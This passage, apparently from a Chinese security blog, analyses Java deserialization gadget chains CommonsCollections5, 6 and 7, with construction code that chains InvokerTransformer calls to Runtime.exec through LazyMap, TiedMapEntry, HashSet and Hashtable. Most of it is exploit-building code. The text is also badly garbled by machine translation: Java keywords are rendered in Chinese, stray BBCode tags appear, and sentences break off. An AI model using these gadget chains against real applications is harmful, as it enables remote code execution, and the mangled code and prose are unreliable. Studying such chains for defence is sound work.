  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        val = null; </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } else if (valObj instanceof String) { </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        val= valObj; </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } else if (System.getSecurityManager() == null </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || valObj instanceof Long</font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Integer </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Float </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Double </font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Byte </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Short </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            || </font><font style="vertical-align: inherit;">valObj instanceof Boolean) { </font></font>
  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        val = valObj.toString(); </font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } else { // 序列化对象来自没有 JDK-8019292 fix 的版本</font></font>
  23. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); </font></font>
  24. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  25. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在TiedMapEntry#toString()方法中调用TiedMapEntry#getValue方法导致触发触发触发map.get(this.key)方法。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public String toString() { </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return this.getKey() + "=" + this.getValue(); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public Object getValue() { </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return this.map.get(this.key); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

到此完成整个利用链的构建。

CommonsCollections6

CommonsCollections6的水槽链使用的仍然是InvokerTransformer反射接口方法利用ChainedTransformer
实验InvokerTransformer反射和ConstantTransformer接口获取恶意的运行时类。调用LazyMap.decorate
将恶意的ChainedTransformer提交给LazyMap# factory,当调用LazyMap#get(Object key)方法触发恶意
代码的执行。(与CommonsCollections1、CommonsCollections5的sink点相同)
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">最终字符串[] execArgs = 新字符串[] { 命令}; </font></font>

  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">final Transformer[] 变压器 = new Transformer[] { </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new ConstantTransformer(Runtime.class), </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer("getMethod", new Class[] { </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        String.class, Class[].class }, new Object[] { </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        "getRuntime" , new Class[0] }), </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer("invoke", new Class[] { </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        Object.class, Object[].class }, new Object[] { </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        null, new Object[0] }), </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer( "exec", </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Class[] { String.class }, execArgs), </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new ConstantTransformer(1) }; </font></font>

  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">变压器transformerChain = new ChainedTransformer(transformers); </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">最终地图innerMap = new HashMap();</font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">final Map lazyMap = LazyMap.decorate(innerMap,transformerChain); </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">CommonsCollections6小工具作者找到了TiedMapEntry类其中在TiedMapEntry#GETVAL </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">UE()方法中调用了this.map.get(this.key)方法。</font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">公开对象的getValue(){</font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    返回this.map.get(this.key); </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

调用TiedMapEntry(Map map, Object key)构造方法,可以为TiedMapEntry#map启动
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public TiedMapEntry(Map map, Object key) { </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    this.map = map; </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    this.key = 键;</font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在TiedMapEntry中的equals(Object obj)、hashCode()、toString()中方法都调用了TiedMapEntry#
getValue()方法。这里作者选择调用TiedMapEntry#hashCode()方法
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public int hashCode() {</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    对象值 = this.getValue(); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

这时候需要寻找一个调用hashCode()方法类,并且可以反序列化入口类。这里小工具作者找到了HashMap和HashSet。
在HashMap#put方法中,调用了hash方法,以后调用了hashcode方法。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">public V put(K key, V value) { </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return putVal(hash(key), key, value, false, true); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">static final int hash(Object key) { </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int h; </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    返回(键 == 空)?</font><font style="vertical-align: inherit;">0 : (h = key.hashCode()) ^ (h >>> 16); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在HashSet类的反序列化入口readObject方法中
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">private void readObject(java.io.ObjectInputStream s) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    throws java.io.IOException, ClassNotFoundException { </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读入任何隐藏的序列化魔法</font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    s.defaultReadObject(); </font></font>

  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读取容量并验证非负值。</font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int 容量 = s.readInt(); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (capacity < 0) { </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        throw new InvalidObjectException("非法容量:" + </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">                                         capacity); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>

  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读取负载因子并验证正值和非 NaN。</font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    浮动负载因子 = s.readFloat(); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (loadFactor <= 0 || Float.isNaN(loadFactor)) { </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        throw new InvalidObjectException("Illegal load factor:" + </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">                                         loadFactor);</font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>

  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读取大小并验证非负值。</font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int size = s.readInt(); </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (size < 0) { </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        throw new InvalidObjectException("非法大小:" + </font></font>
  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">                                         size); </font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>

  23. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 根据大小和负载因子设置容量,确保</font></font>
  24. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    HashMap 至少 25% 已满,但限制为最大容量。</font></font>
  25. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    容量 = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY </font></font>
  26. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            ); </font></font>

  27. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 创建后台HashMap </font></font>
  28. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    map = (((HashSet<?>)this) instanceof LinkedHashSet ? </font></font>
  29. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">           new LinkedHashMap<E,Object>(capacity, loadFactor) : </font></font>
  30. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">           new HashMap<E,Object>(capacity, loadFactor));</font></font>

  31. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 以正确的顺序读入所有元素。</font></font>
  32. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    for (int i=0; i<size; i++) { </font></font>
  33. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        @SuppressWarnings("unchecked") </font></font>
  34. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            E e = (E) s.readObject(); </font></font>
  35. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        map.put(e, PRESENT); </font></font>
  36. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  37. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在进行反序列化的过程中,实例化HashMap对象。并调用了map.put(e, PRESENT)。e是通过调用对象方法获取
的需要找到对应的参数将e参数序列化的writeObject。在HashSet #writeObject方法中找到了对应。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">private void writeObject(java.io.ObjectOutputStream s) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    throws java.io.IOException { </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 写出任何隐藏的序列化魔法</font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    s.defaultWriteObject(); </font></font>

  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 写出 HashMap 容量和负载因子</font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    s.writeInt(map.capacity()); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    s.writeFloat(map.loadFactor()); </font></font>

  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 写出大小</font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    s.writeInt(map.size()); </font></font>

  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 以正确的顺序写出所有元素。</font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    for (E e : map.keySet()) </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        s.writeObject(e); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

遍历映射对象中的关键值并循环调用的writeObject方法进行序列化。因此需要将恶意的TiedMapEntry注对象
入到HashMap中的关键值中.HashMap的关键属性存储在HashMap的$节点类型的HashMap的#表中属性
构造反射链获取键属性。


100609apbambasmuugpmsz.png.thumb.jpg

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Field f = HashSet.class.getDeclaredField("map"); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Reflections.setAccessible(f); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">HashMap innimpl = (HashMap) f.get(map); </font></font>

  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Field f2 = HashMap.class.getDeclaredField("table"); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Reflections.setAccessible(f2); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Object[] 数组 = (Object[]) f2.get(innimpl); </font></font>

  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">对象节点=数组[0];</font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">if(node == null){ </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    node = array[1]; </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>

  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">字段关键字段= node.getClass()getDeclaredField( “钥匙”)。</font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Reflections.setAccessible(keyField); </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">keyField.set(node, entry);</font></font>
复制代码

通过反射出HashMap中的键恶意绑定MapEntry对象提交给关键属性中。至利用链构造完成。

CommonsCollections7

CommonsCollections7的水槽链使用的是InvokerTransformer反射接口利用ChainedTransformer电池产品
组InvokerTransformer反射和Constanter,获取恶意的运行系统。 key)方法公共触发恶意代码的执行。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">final String[] execArgs = new String[]{command}; </font></font>

  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">最终变压器transformerChain = new ChainedTransformer(new Transformer[]{}); </font></font>

  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">final Transformer[] transformers = new Transformer[]{ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new ConstantTransformer(Runtime.class), </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer("getMethod", </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Class[]{String.class, Class[].class}, </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Object[]{"getRuntime" , new Class[0]}), </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer("invoke", </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Class[]{Object.class, Object[].class}, </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Object[]{null, new Object[0]}), </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new InvokerTransformer( "exec", </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        new Class[]{String.class}, </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        execArgs), </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    new ConstantTransformer(1)}; </font></font>

  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">映射innerMap1 = new HashMap();</font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">映射innerMap2 = new HashMap(); </font></font>

  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// 创建两个具有碰撞哈希值的 LazyMap,以便</font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">在 readObject </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Map</font><font style="vertical-align: inherit;">期间</font><font style="vertical-align: inherit;">强制</font><font style="vertical-align: inherit;">元素比较</font><font style="vertical-align: inherit;">lazyMap1 = LazyMap.decorate(innerMap1,transformerChain); </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">lazyMap1.put("yy", 1); </font></font>

  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain); </font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">lazyMap2.put("zZ", 1);</font></font>
复制代码

CommonsCollections7的sink点与之前的CC链的不同点在于。CommonsCollections7实例化的LazyMap对象
。CommonsCollections7的源点选择Hashtable,具体的小工具代码如下:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Hashtable hashtable = new Hashtable(); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">hashtable.put(lazyMap1, 1); </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">hashtable.put(lazyMap2, 2); </font></font>

  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Reflections.setFieldValue(transformerChain, "iTransformers", 变压器); </font></font>

  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// 需要确保先前操作</font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">后哈希</font><font style="vertical-align: inherit;">冲突</font><font style="vertical-align: inherit;">lazyMap2.remove("yy"); </font></font>

  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">返回哈希表;</font></font>
复制代码

Gadget中调用了渲染Hashtable#put方法将两个LazyMap对象动态了Hashtable中
最终调用remove清空lazyMap2中的yy元素。
当前存在两个问题:
1.为什么需要实例化表面LazyMap2
.为什么需要调用remove清空lazyMap2中yy元素解决了
这之前的问题,需要查一下反序列化流程。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">private void readObject(java.io.ObjectInputStream s) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">         throws IOException, ClassNotFoundException </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读入长度、阈值和负载</font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    因子 s.defaultReadObject(); </font></font>

  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读取数组的原始长度和元素个数</font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int origlength = s.readInt(); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int 元素 = s.readInt(); </font></font>

  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 计算新的大小,有 5% 的增长空间,但</font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 不大于原始大小。</font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    如果</font><font style="vertical-align: inherit;">长度</font><font style="vertical-align: inherit;">足够大,</font><font style="vertical-align: inherit;">则将长度设为</font><font style="vertical-align: inherit;">奇数,这有助于分发条目。</font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 防止长度为零,这是无效的。</font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int length = (int)(elements * loadFactor) + (elements / 20) + 3; </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    如果(长度>元素&&(长度& 1)== 0)</font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        长度 - ; </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (origlength > 0 && length > origlength) </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        length = origlength; </font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    table = new Entry<?,?>[length]; </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    阈值 = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    计数 = 0; </font></font>

  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 读取元素的数量,然后读取所有的键/值对象</font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    for (; elements > 0; elements--) { </font></font>
  23. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        @SuppressWarnings("unchecked") </font></font>
  24. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            K key = (K)s.readObject(); </font></font>
  25. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        @SuppressWarnings("unchecked") </font></font>
  26. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            V value = (V)s.readObject(); </font></font>
  27. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        // 同步可以消除性能</font></font>
  28. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        重构Put(table, key, value); </font></font>
  29. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  30. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在readObject方法中会根据Hashtable的元素个数确定调用reconstitutionPut(table, key,
value)的方法次数,跟进reconstitutionPut方法。
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    throws StreamCorruptedException </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{ </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    if (value == null) { </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        throw new java.io.StreamCorruptedException(); </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 确保键不在哈希表中。</font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 这不应该发生在反序列化版本中。</font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int hash = key.hashCode(); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    int index = (hash & 0x7FFFFFFF) % tab.length; </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        if ((e.hash == hash) && e.key.equals(key)) { </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            throw new java.io.StreamCorruptedException(); </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        } </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    // 创建新条目。</font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    @SuppressWarnings("未选中")</font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        Entry<K,V> e = (Entry<K,V>)tab[index]; </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    tab[index] = new Entry<>(hash, key, value, e); </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    计数++;</font></font>
  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>
复制代码

在reconstitutionPut方法中会调用e.key.equals(key)方法。方法之前的CommonsCollections利用链的经验
需要在入口类通过各种方法的调用,因此调用到LazyMap#get,CommonsCollections7的小工具构造思路
也如此,小工具作者通过调用equals方法,方法入口类和LazyMap。
由于在序列化对象构造时,将LazyMap对象作为Hashtable的key值到Hashtable的元素中
因此在调用e.key.equals(key)方法时,实质是调用LazyMap#equals方法。

100452vrvrr8szcvhc9rnc.png.thumb.jpg

/i]
[/i ][/一世]
i]
LazyMap继承于AbstractMapDecorator抽象类,从而调用AbstractMapDecorator#equals方法。
[/i ]
public boolean equals(Object o     object ) { if (object == this) { return tru乙;} return map.equals(object); }
其中的map对象则是在调用LazyMap.decorate方法时鼠标的HashMap

  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">映射innerMap1 = new HashMap(); </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">映射innerMap2 = new HashMap(); </font></font>

  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">// 创建两个具有碰撞哈希值的 LazyMap,以便在 readObject </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Map</font><font style="vertical-align: inherit;">期间强制元素比较</font><font style="vertical-align: inherit;">lazyMap1 = LazyMap.decorate(innerMap1,transformerChain); </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">lazyMap1.put("yy", 1); </font></font>

  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain); </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">lazyMap2.put("zZ", 1); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">```[/i][/i][/i][/i][/i][/i][/i][/i][/i][/i][/i] </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[i] [i][i][i][i][i][i][i][i][i][i]</font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">因此最终调用HashMap继承的抽象类AbstractMap中的equals方法[/i][/i ][/i][/i][/i][/i][/i][/i][/i][/i][/i] </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">[i][i][i][i][ i][i][i][i][i][i][i]</font></font>
复制代码

public boolean equals(Object o) {
if (o == this)
return true;
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">if (!(o instanceof Map))</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    返回 false;</font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">地图<?,?> m = (地图<?,?>) o; </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">如果 (m.size() != size())</font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    返回 false;</font></font>

  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">尝试 { </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    Iterator<Entry<K,V>> i = entrySet().iterator(); </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    while (i.hasNext()) { </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        Entry<K,V> e = i.next(); </font></font>
  10. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        K 键 = e.getKey(); </font></font>
  11. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        V 值 = e.getValue(); </font></font>
  12. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        if (value == null) { </font></font>
  13. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            if (!(m.get(key)==null && m.containsKey(key))) </font></font>
  14. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">                return false; </font></font>
  15. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        } else { </font></font>
  16. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">            if (!value.equals(m.get(key))) </font></font>
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">                return false; </font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">        } </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    } </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} catch (ClassCastException 未使用) { </font></font>
  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return false;</font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">} catch (NullPointerException 未使用) { </font></font>
  23. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    return false; </font></font>
  24. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">}</font></font>

  25. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">返回true;</font></font>
复制代码

}
```

[i ] ]
并在AbstractMap#equals方法汇总方法调用目标对象的get。这里重点查一下如何将LazyMap对象作为目标逆推的根据
上述调用流程,可以看到AbtractMap#equals(o)目标参数ø方法是对象重构方法中调用e.key.equals(键)传入中的关键值
在这里可以解答上述提到的两个问题。
由于在哈希表反序列化调用reconstitutionPut方法时,会判断标签数组中是否存在元素
如果存在。则进入循环中调用e.key .equals(key)方法。
